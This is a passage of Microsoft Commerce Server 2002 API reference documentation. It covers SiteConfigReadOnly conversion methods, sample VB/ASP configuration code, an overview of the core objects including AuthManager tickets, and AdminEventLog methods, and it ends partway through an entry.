[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the converted Array or unconverted String.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++]

The vtArray parameter points to valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used on values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, or objects as Fields columns. Therefore, the SiteConfigReadOnly object resorts to storing data in an encoded string format.

Caution

  • The MakeArrayFromString method in Microsoft Commerce Server 2002 performed an implicit conversion of some values in the encoded string to numeric values in the returned array. This conversion is not made in Commerce Server 2002 EE. Any application code that expects numeric values in the array will need to be modified to accept String values.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a Variant containing an encoded string
‘ read from the Fields property
' vArray is a Variant
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
vArray = oSiteConfigReadOnly.MakeArrayFromString(vEncoded)

See Also

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfigReadOnly Object


_SiteConfigReadOnly::MakeSimpleListFromArray Method [C++]

SiteConfigReadOnly.MakeSimpleListFromArray Method [Visual Basic]

Use this method to convert an Array into a SimpleList object.

Definition

[C++]
HRESULT _SiteConfig::MakeSimpleListFromArray(
  VARIANT* varArray,
  IDispatch** iSimpleList
);
[Visual Basic]
Function MakeSimpleListFromArray(
  varArray As Variant
) As Object

Parameters

varArray [C++]
[in] A pointer to the VARIANT that contains the Array to convert.
varArray [Visual Basic]
A Variant that contains the SimpleList object to convert.
iSimpleList [C++]
[out, retval] The address of a IDispatch interface pointer used to return the converted SimpleList object.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object reference to the converted SimpleList object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++]

The iSimpleList parameter contains valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vMyArray is a Variant
' varMySimpleList is an object reference to a SimpleList object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
varMySimpleList = oSiteConfigReadOnly.MakeSimpleListFromArray(vMyArray)

See Also

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfigReadOnly Object


_SiteConfigReadOnly::MakeStringFromArray Method [C++]

SiteConfigReadOnly.MakeStringFromArray Method [Visual Basic]

Use this method to convert an Array object into an encoded string, which can be written to the Fields property.

Definition

[C++]
HRESULT _SiteConfig::MakeStringFromArray(
  VARIANT* varArray,
  VARIANT* vtEncodedString
);
[Visual Basic]
Function MakeStringFromArray(
  varArray As Variant
) As Variant

Parameters

varArray [C++]
[in] A pointer to the VARIANT that contains the Array to encode.
varArray [Visual Basic]
A Variant that contains the Array to encode.
vtEncodedString [C++]
[out, retval] A pointer to a Variant used to return the encoded string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns Variant that contains the encoded string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++]

The vtEncodedString parameter points to valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, or objects as Fields columns. Therefore, the SiteConfigReadOnly object resorts to storing data in an encoded string format.

Caution

  • The MakeArrayFromString method in Microsoft Commerce Server 2002 performed an implicit conversion of some values in the encoded string to numeric values in the returned array. This conversion is not made in Commerce Server 2002. Any application code that expects numeric values in the array will need to be modified to accept String values.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a Variant
' vArray is a Variant
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
vEncoded = oSiteConfigReadOnly.MakeStringFromArray(vArray)

See Also

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfigReadOnly Object


_SiteConfigReadOnly::MakeStringFromSimpleList Method [C++]

SiteConfigReadOnly.MakeStringFromSimpleList Method [Visual Basic]

Use this method to convert a SimpleList object into an encoded string, which can be written to the Fields property.

Definition

[C++]
HRESULT _SiteConfig::MakeStringFromSimpleList(
  IDispatch** slist,
  BSTR* strEncodedString
);
[Visual Basic]
Function MakeStringFromSimpleList(
  slist As Object
) As String

Parameters

slist [C++]
[in] An IDispatch interface pointer to the SimpleList object that you wish to convert into an encoded string.
slist [Visual Basic]
An object reference to the SimpleList object that you wish to convert into an encoded string.
strEncodedString [C++]
[out, retval] The address of a BSTR used to return the encoded string.

Return Values

[C++] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

[C++]

The strEncodedString parameter points to valid data only if the method completes successfully.

Important

  • There is a special group of methods used with multivalued arrays. These methods are the only approved and recommended way of storing and retrieving multivalued arrays in the Administration database. You must use the following methods with any property that has the structure of a multivalued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for Variants, Arrays, SimpleLists or objects as Fields columns. Therefore, the SiteConfigReadOnly object resorts to storing data in an encoded string format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vEncoded is a string
' vArray is a Variant
' varMySimpleList is a SimpleList object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
vEncoded = oSiteConfigReadOnly.MakeStringFromSimpleList(varMySimpleList)

See Also

[C++] SiteConfigReadOnly Object

[Visual Basic] SiteConfigReadOnly Object


_SiteConfigReadOnly Properties [C++]

SiteConfigReadOnly Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Fields | Fields | Returns configuration settings of the site and the site resources. This property is read-only.
[Visual Basic]
Property | Type | Description
Fields | Fields | Returns configuration settings of the site and the site resources. This property is read-only.


_SiteConfigReadOnly::get_Fields Property [C++]

SiteConfigReadOnly.Fields Property [Visual Basic]

The Fields property is a read-only Fields object. The Fields object contents hold the configuration settings of the site and its resources.

Definition

[C++]
HRESULT _SiteConfigReadOnly::get_Fields(
  Fields** Fields
);
[Visual Basic]
Property Fields As Object

Parameters

Fields [C++]
[out] The address into which this method will write a pointer to the Fields object used to return site and resource configuration information.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

Error Values

[C++] This property returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

All ADO, SQL, and ODBC errors will also be returned by this method.

Remarks

The Initialize method must be called before this method can be used.

[C++]

The Fields parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] SiteConfigReadOnly Object

[C++] _SiteConfigReadOnly::Initialize

[Visual Basic] SiteConfigReadOnly Object

[Visual Basic] SiteConfigReadOnly.Initialize


Example Code for Configuration Objects

This section provides detailed examples of how to use the configuration objects.

Examples

Example | Description
Code to Dump Configuration Values | Describes how to use the AppConfig object to retrieve site configuration values.
Code to Create a Site | Describes how to create a site.
Code to Create and Manipulate a Global Resource | Describes how to create and manipulate a global resource.
Code to Create and Manipulate a Site-Level Resource | Describes how to create and manipulate a site-level resource.
Code to Export a Resource | Describes how to export a resource.
Code to Import a Resource | Describes how to import a resource.
Code to Retrieve Web Site Properties | Describes how to read the contents of a server-side file and write those contents to the browser.


Code to Dump Configuration Values

In this example, an instance of the AppConfig object is instantiated, then initialized to the name of the installed site (in this case, "Retail"). The GetOptionsDictionary method is called, and each key/value pair in the dictionary is written to the Web page.

The ASP example code follows.

  1. Create the AppConfig object instance and initialize it to the name of the installed site. In this example, a site named "Retail" already exists.
    Dim MSCSAppConfig
Set MSCSAppConfig = Server.CreateObject("Commerce.AppConfig")
MSCSAppConfig.Initialize("Retail")
  2. Create a dictionary object to hold the return value of the GetOptionsDictionary method, and dump the dictionary contents to the Web page.
    Dim dConfig
set dConfig = MSCSAppConfig.GetOptionsDictionary("")
For Each sKey in dConfig
    Response.Write sKey & " = " & dConfig.Value(sKey) & "<br>"
Next


Code to Create a Site

In this example, an instance of the GlobalConfig object is instantiated, then initialized. An application named "NewSite" is created and saved.

Create this example using the following Microsoft Visual Basic code.

  1. Create the GlobalConfig and initialize it.
    Dim oGlobConfig
Set oGlobConfig = CreateObject("Commerce.GlobalConfig")
oGlobConfig.Initialize
  2. Create a new application. The CreateSiteConfig method creates a site named "NewSite" and returns a SiteConfig object that contains the site configuration settings. After the site is created, save the configuration settings.
    Dim oSiteConfig
Set oSiteConfig = oGlobConfig.CreateSiteConfig("NewSite")
oGlobConfig.SaveConfig


Code to Create and Manipulate a Global Resource

In this example, a global resource is created for the site created in Code to Create a Site. Resource settings are retrieved, changed, retrieved again, and written to the screen. Create the example using the following Visual Basic code.

  1. Create the global resource. The schema class name is "MSCS_Predictor", as this example is creating a Predictor resource. After the resource is created, save the configuration settings.
    Dim oPredictor
oGlobConfig.CreateServiceConfig "oPredictor", "MSCS_Predictor"
oGlobConfig.SaveConfig
  2. Retrieve and change a property in the Predictor resource at the global level. This property, on creation, defaults to True. It will be retrieved, displayed, set to False, retrieved, and displayed again.
    Dim x, y
Set x = oGlobConfig.Fields("oPredictor").Value
y = x.Fields("f_UseExternalDB").Value
MsgBox y, , "f_UseExternalDB value before change"

' Assign a new property value
y = False
x.Fields("f_UseExternalDB").Value = y
' Save the settings
oGlobConfig.SaveConfig
Set x = oGlobConfig.Fields("oPredictor").Value
y = x.Fields("f_UseExternalDB").Value
MsgBox y, , "f_UseExternalDB value after change"


Code to Create and Manipulate a Site-Level Resource

In this example, a site-level resource is created for the site created in Code to Create a Site. Resource settings are retrieved, changed, retrieved again, and written to the screen. Create the example using the following Visual Basic code.

  1. Create the site-level resource to the site named "NewSite". The schema class name is "MSCS_Predictor", as this example is creating a Predictor resource. After the resource is created, save the configuration settings.
    Dim oPredictorAtSiteLevel
oSiteConfig.CreateComponentConfig "oPredictorAtSiteLevel", _
    "MSCS_Predictor"
  2. Retrieve and change a property in the Predictor resource at the site level. This property, on creation, defaults to True. It will be retrieved, displayed, set to False, retrieved, and displayed again.
    Dim x, y
Set x = oSiteConfig.Fields("oPredictorAtSiteLevel").Value
y = x.Fields("f_UseExternalDB").Value
MsgBox y, , "f_UseExternalDB value before change"
' Assign a new property value
y = False
x.Fields("f_UseExternalDB").Value = y
' Save the settings
'oSiteConfig.SaveConfig
Set x = oSiteConfig.Fields("oPredictorAtSiteLevel").Value
y = x.Fields("f_UseExternalDB").Value
MsgBox y, , "f_UseExternalDB value after change"


Code to Export a Resource

In this example, the site-level resource that was created in Code to Create and Manipulate a Site-Level Resource is exported to the file C:\temp\ExportedFile.txt. The resource is then deleted, and the deletion operation results are saved.

  1. Export the site-level Predictor resource to the file C:\ExportedFile.txt
    oSiteConfig.ExportResource "oPredictorAtSiteLevel", _
    "c:\ExportedFile.txt"
  2. Delete the site level Predictor resource and save the deletion operation results.
    oSiteConfig.DeleteComponentConfig "oPredictorAtSiteLevel"
oSiteConfig.SaveConfig


Code to Import a Resource

In this example, the site-level Predictor resource that was exported in Code to Export a Resource is now imported. The code tests that it exists by displaying a resource property.

oSiteConfig.ImportResource "c:\ExportedFile.txt"
Set x = oSiteConfig.Fields("oPredictorAtSiteLevel").Value
y = x.Fields("f_UseExternalDB").Value
MsgBox y, , "f_UseExternalDB value after import"


Code to Retrieve Web Site Properties

The following example enumerates all the Web sites on a server, then for each Web site, it obtains the site properties and displays the VrPath property. Create the example using the following Visual Basic code.

  1. Create the required objects.
    Dim oWebServer, WebSites, oDict
Set oWebServer = CreateObject("Commerce.AdminWebServer")
  2. Call the GetWebSites method of the AdminWebServer object instance. The method returns an array of integers representing all server instances.
    WebSites = oWebServer.GetWebSites
  3. Return the WebInstance properties in a dictionary, and then display the dictionary values.
    For WebInstance = (LBound(WebSites, 1) + 1) To (UBound(WebSites, 1) + 1)
    Set oDict = oWebServer.GetWebSiteProperties(WebInstance)
    Dim ArrStr(100), i
    i = 1
    For Each property In oDict
    ArrStr(i) = property & " = " & oDict.Value(property)
        str1 = str1 & ArrStr(i) & vbCrLf
        i = i + 1
    Next
    MsgBox str1
    str1 = ""
Next


Core Objects

The core objects perform a variety of functions including writing error and warning events to the event log, retrieving Web site properties, storing name/value pairs, generating globally unique identifiers (GUIDs), retrieving the contents of server-side files, and securing the site.

The Core Objects Programming Concepts topic describes the major issues relating to the use of the general purpose objects.

Objects

Visual Basic Reference | C++ Invocation | Description
AdminEventLog | AdminEventLog | Writes error, informational, warning, and success messages to the event log.
AdminFiles | AdminFiles | Provides read-only access to server-side binary and text files.
AppFrameWork | AppFrameWork | Provides formatting and validation methods that simplify forms processing in Active Server Pages (ASP).
AuthManager | AuthManager | Provides a secure, standardized, and extensible way to manage authentication of users.
BizDeskSecurity | BizDeskSecurity | Allows specific Commerce Server Business Desk modules to be hidden from particular users.
DataFunctions | DataFunctions | Provides methods to perform locale-based data type handling and value range checking.
DBStorage | DBStorage | Provides methods for mapping Dictionary and SimpleList objects to and from a database, primarily for the storage of receipt and order information.
Dictionary | Dictionary | Supports the creation, storage, and retrieval of name/value pairs in memory.
DictionaryXMLTransforms | DictionaryXMLTransforms | Transforms data in a Dictionary object into Extensible Markup Language (XML), and XML data into a Dictionary object.
EuroDisplay | EuroDisplay | Converts and formats currency amounts for use where multiple currencies must be displayed.
GenID | GenID | Provides methods to generate globally unique identifiers (GUID), and to create and maintain multiple, global sequential counters which are persisted in a database.
MessageManager | MessageManager | Stores text strings in multiple languages. One usage involves the Order Processing pipeline (OPP) components describing error conditions generated during order form processing.
SimpleList | SimpleList | Allows creation of an array of Variants that supports enumeration.

Examples

Example | Description
Code to Write an Error Event to the Commerce Server Event Log | Describes how to write an error event to the Commerce Server 2002 event log.
Code to Read and Display the Contents of a Server-Side File | Describes how to read the contents of a server-side file and write those contents to the browser.
Code to Dump Dictionary Values | Describes how to dump the contents of a Dictionary object.
Code to Create and Manipulate a SimpleList | Describes how to create and work with the SimpleList object.
Code to Implement Custom Cache Components | Describes how to implement custom cache components.
Code to Manipulate an LRUCache Object | Describes how to manipulate an LRUCache object
Code to Generate a GUID | Describes how to generate a globally unique identifier (GUID).
Code to Control Display of a Business Desk Module | Describes how to control whether a specified Business Desk module is displayed to the current user.
Code to Create and Initialize AuthManager | Describes how to instantiate and initialize the AuthManager object.
Code to Manipulate Site Configuration Properties | Describes how to change CS Authentication resource properties.
Code to Retrieve Login Credentials | Describes how to retrieve the user ID and password submitted on an HTML form using either the Get method or the Post method.
Code to Set a New MSCSProfile Ticket | Describes how to create an MSCSProfile ticket.
Code to Retrieve a Profile and Set an MSCSAuth Ticket | Describes how to retrieve a profile using the Commerce Server Profiles resource, and set an MSCSAuth ticket.
Code to Retrieve Login Credentials Using the Post Method and Set an MSCSAuth Ticket | Describes how to retrieve the user ID and password submitted on a HTML form using the Post method, get the profile corresponding to the user ID using the Commerce Server Profiles resource, set the user ID in an MSCSAuth ticket, and redirect the user to the originally requested URL.
Code to Set a Custom Property on a Ticket | Describes how to create a globally unique identifier (GUID) string and place it on an MSCSAuth ticket as a guid property.
Code to Generate an Encoded URL String | Describes how to generate an encoded URL string from a file name.
Code to Apply Data Type Conversion and Range Checking | Describes how to perform locale-based data type conversion and range validation.
Code to Manipulate and Display Euro Values | Describes how to use the EuroDisplay object to convert currency amounts.
Code to Convert Between Numbers and Strings | Describes how to use the conversion functions of the DataFunctions object.
Code to Display Locale-Specific Strings | Describes how to use locale-based conversion functions of the DataFunctions object.
Code to Manage Common Error Messages to Users | Describes how to add languages and messages to the MessageManager object, and how to write messages to a Web browser.


Core Object Programming Concepts

The following objects are considered general purpose, and can be used in many contexts within Commerce Server:

  • AdminEventLog Object
  • AdminFiles Object
  • AppFrameWork Object
  • AuthManager Object
  • BizDeskSecurity Object
  • DataFunctions Object
  • Dictionary Object
  • EuroDisplay Object
  • GenID Object
  • MessageManager Object
  • SimpleList Object

AdminEventLog Object

The AdminEventLog object is used to write error, informational, and warning messages to the event log, which can be viewed in the Commerce Server Manager Event Viewer snap-in.

For more information, see AdminEventLog Object.

AdminFiles Object

The AdminFiles object is used to return the contents of a file on the server. The file contents can be of any type, such as text, bitmaps, numeric data, and so on.

For more information, see AdminFiles Object.

AppFrameWork Object

The AppFrameWork object replaces much of the functionality of the Page object, the latter of which will not be supported in future releases. The Page object must be created on every page; in contrast, the AppFrameWork object has better performance because it is created once in the Global.asa file and can be used on any page.

The majority of the methods for the AppFrameWork object have names that begin with Request. These methods apply locale-based data type conversion and data range checking to data retrieved from a browser request. There are two ways to send data from a browser to a server: Data can be appended to the request URL as a query string (for example, http://servername/mysite/default.asp?keyword=books) or it can be posted via forms. Performing these operations on user input ensures that the input data retrieved by an Active Server Pages (ASP) page can be inserted without error into the database storage for the site or passed to the Order Processing pipeline (OPP) in an OrderForm object without generating pipeline or page syntax errors.

Object Dependencies

Because the Request methods of the AppFrameWork and Page object rely on the DataFunctions object for method implementation, you must create the DataFunctions object before you create an AppFrameWork object or a Page object.

The following table shows the values returned by Request methods under different conditions.

Condition | Method returns
The key/value pair is present on request and is valid. | The key value returned from the URL query string or form-post variable.
The value returned is empty or Null (for example, the user did not type a value for a search key), or the value is of the wrong type. | The default value (Null, or the value specified by the Default parameter).
The value returned is out of the specified range. | Null.
The value returned is invalid according to the rules for the locale. | Null.

AuthManager Object

The AuthManager object identifies users and gathers information used for user authentication. The methods and properties of this object control and access the contents of cookies and encoded URL strings. For more information, see AuthManager Object.

Authentication uses tickets, a string of property/value pairs, to provide information about the user. Two types of tickets are supported, an MSCSAuth ticket and an MSCSProfile ticket. Their differences are summarized in the following table.

Characteristics | MSCSAuth | MSCSProfile
Storage | Session cookie/encoded URL string | Persistent cookie/encoded URL string
User Type | Registered | Anonymous
Contents | Unique user ID, last login time, time window | Unique user ID

In this context, registered refers to a user who has successfully completed a registration process for the relevant site.

The AuthManager object provides methods to place the ticket into a cookie, if cookies are enabled on the client, or, if cookies are not enabled, into an encoded URL string. When used with the AuthFilter ISAPI filter, cookies must be enabled.

For an MSCSAuth ticket, the AuthManager object can check the validity of the ticket using the IsAuthenticated method. This method checks whether the request from the user contains an MSCSAuth ticket. If it does, the method checks the current time against the last login time set on the ticket to see if it is within the time window specified in the ticket. If it is, the method returns True, indicating a valid MSCSAuth ticket. If the current time is within five minutes of the last login time plus the time window, the last login time on the ticket is changed to the current time so the active user can remain browsing.

A user may have both types of tickets. In this case, the MSCSAuth ticket takes precedence.

If the user does not allow cookies, the ticket is placed in an encoded URL string. The URL string may be used to pass user information between pages and Web sites, provided all the URLs and query strings are generated by the AuthManager object.

The AuthManager object provides a transparent interface to the tickets, whether they are stored in cookies or in URL query strings, and handles encryption and decryption of the tickets to ensure security.

The AuthManager object must be used with ASP since it depends on ASP intrinsic objects. Do not create the AuthManager object in application scope as it has dependencies on individual user sessions. The AuthManager object should be created and destroyed on each ASP page.

BizDeskSecurity Object

The Commerce Server Business Desk security infrastructure allows individual Business Desk modules to be displayed or hidden, depending on the credentials of the user. The CanUserAccess method of the BizDeskSecurity object returns True if the current user has read access rights for a specified Business Desk module. This method retrieves the access rights for the user from the access control list (ACL) for the file. For more information, see BizDeskSecurity Object.

The Active Server Pages (ASP) file corresponding to a Business Desk module is found in the id attribute of the module element of the XML file for the module. The XML file for each module is found in the Config folder located under the Business Desk application folder. For more information about the XML format, see Module Configuration Files.

DataFunctions Object

The DataFunctions object performs locale-based data type handling and value range checking on values that you submit to the database or that you pass in an OrderGroup object to the Order Processing pipeline (OPP).

The DataFunctions object is usually created in the Global.asa file. Use the Active Server Pages (ASP) Server object CreateObject method to create a DataFunctions object, as follows:

Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Initialize the object after instantiation
MSCSDataFunctions.Locale = dictConfig.i_SiteDefaultLocale

Also, store the new object in the Application object in the Global.asa file, as follows:

Set Application("MSCSDataFunctions") = MSCSDataFunctions

The AppFrameWork and Page objects have a direct dependency on the DataFunctions object; the DataFunctions object must be created before an AppFrameWork object or a Page object is created.

Dictionary Object

A Commerce Server Dictionary object is a collection object that supports the creation, storage, and retrieval of key/value pairs in memory. Every element in a Dictionary object is a Variant, which means you can create a Dictionary object that consists of almost any kind of values (including other Dictionary objects), and that you can store any combination of Variant types in the same Dictionary object.

The Commerce Server architecture uses the Dictionary object for a number of specialized purposes, including the SiteConfig object. However, because a Dictionary object is designed to be a general purpose collection, you can use it for almost anything that its internal structure supports.

For more information, see Dictionary Object.

EuroDisplay Object

The EuroDisplay object can be used to convert and format currencies. It was originally designed to handle use of the Euro currency, but it can be used for conversion between any two currencies. This object provides convenient currency conversion functionality.

GenID Object

This object is used to generate globally unique identifiers (GUIDs).

For more information, see GenID Object.

MessageManager Object

The MessageManager object stores error messages in multiple languages that the Order Processing pipeline (OPP) components use to describe error conditions generated during OrderForm object processing.

SimpleList Object

A Commerce Server SimpleList object consists of an array of Variants that supports enumeration and access by index. The SimpleList object is used extensively throughout Commerce Server. Use a SimpleList object instead of a Dictionary object in circumstances where accessing the stored content by index is important.

For more information, see SimpleList Object.


AdminEventLog Object [C++]

AdminEventLog Object [Visual Basic]

Use this object to write error, informational, and warning messages to the event log.

ProgID: | Commerce.AdminEventLog (Externally creatable)
COM Class Name: | AdminEventLog
Type Library Name: | Commerce Admin 1.0 Type Library
DLL Name: | MSCSadmin.dll
Threading Model: | Both
[C++]
COM Interface Name: | IAdminEventLog
Interface ID Constant: | None
Header File: | None

[C++] In C++, use the IAdminEventLog interface to access the methods of the AdminEventLog object.

Methods

[C++]
Method | Description
Initialize | Initializes the site, the source, and the event server for writing events.
WriteErrorEvent | Writes error messages (such as resource problems, missing files, and so on) to the Commerce Server event log.
WriteInformationalEvent | Writes informational messages (such as names of logged-on users) to the Commerce Server event log.
WriteWarningEvent | Writes warning messages (such as low memory levels) to the Commerce Server event log.
[Visual Basic]
Method | Description
Initialize | Initializes the site, the source, and the event server for writing events.
WriteErrorEvent | Writes error messages (such as resource problems, missing files, and so on) to the Commerce Server event log.
WriteInformationalEvent | Writes informational messages (such as names of logged-on users) to the Commerce Server event log.
WriteWarningEvent | Writes warning messages (such as low memory levels) to the Commerce Server event log.


AdminEventLog Methods [C++]

AdminEventLog Methods [Visual Basic]

Methods

[C++]
Method | Description
Initialize | Initializes the site, the source, and the event server for writing events.
WriteErrorEvent | Writes error messages (such as resource problems, missing files, and so on) to the Commerce Server event log.
WriteInformationalEvent | Writes informational messages (such as names of logged-on users) to the Commerce Server event log.
WriteWarningEvent | Writes warning messages (such as low memory levels) to the Commerce Server event log.
[Visual Basic]
Method | Description
Initialize | Initializes the site, the source, and the event server for writing events.
WriteErrorEvent | Writes error messages (such as resource problems, missing files, and so on) to the Commerce Server event log.
WriteInformationalEvent | Writes informational messages (such as names of logged-on users) to the Commerce Server event log.
WriteWarningEvent | Writes warning messages (such as low memory levels) to the Commerce Server event log.


IAdminEventLog::Initialize Method [C++]

AdminEventLog.Initialize Method [Visual Basic]

Use this method to initialize the object.

Definition

[C++]
HRESULT IAdminEventLog::Initialize(
  BSTR bstrServer
);
[Visual Basic]
Sub Initialize(
  bstrServer As String
)

Parameters

bstrServer [C++]
[in] A BSTR that contains the server name.
bstrServer [Visual Basic]
A String that contains the server name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAdminEventLog is a Commerce.AdminEventLog object.

oAdminEventLog.Initialize("ServerName")

See Also

[C++] AdminEventLog Object

[Visual Basic] AdminEventLog Object


IAdminEventLog::WriteErrorEvent Method [C++]

AdminEventLog.WriteErrorEvent Method [Visual Basic]

Use this method to write an error event to the Commerce Server event log.

Definition

[C++]
HRESULT IAdminEventLog::WriteErrorEvent(
  BSTR bstrSiteName,
  BSTR bstrMessage
);
[Visual Basic]
Sub WriteErrorEvent(
  String bstrSiteName,
  String bstrMessage
)

Parameters

bstSiteName [C++]
[in] A BSTR that contains the site name.
bstSiteName [Visual Basic]
A String that contains the site name.
bstrMessage [C++]
[in] A BSTR that contains the error event message string.
bstrMessage [Visual Basic]
A String that contains the error event message string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAdminEventLog is a Commerce.AdminEventLog object.

oAdminEventLog.WriteErrorEvent("MySite", _
                               "Database does not exist")

See Also

[C++] AdminEventLog Object

[C++] IAdminEventLog::WriteInformationalEvent

[C++] IAdminEventLog::WriteWarningEvent

[Visual Basic] AdminEventLog Object

[Visual Basic] AdminEventLog.WriteInformationalEvent

[Visual Basic] AdminEventLog.WriteWarningEvent


IAdminEventLog::WriteInformationalEvent Method [C++]

AdminEventLog.WriteInformationalEvent Method [Visual Basic]

Use this method to write an informational event to the Commerce Server event log.

Definition

[C++]
HRESULT IAdminEventLog::WriteInformationalEvent(
  BSTR bstrSiteName,
  BSTR bstrMessage
);
[Visual Basic]
Sub WriteInformationalEvent(
  String bstrSiteName,
  String bstrMessage
)

Parameters

bstSiteName [C++]
[in] A BSTR that contains the site name.
bstSiteName [Visual Basic]
A String that contains the site name.
bstrMessage [C++]
[in] A BSTR that contains the informational event message string.
bstrMessage [Visual Basic]
A String that contains the informational event message string.

Return Values

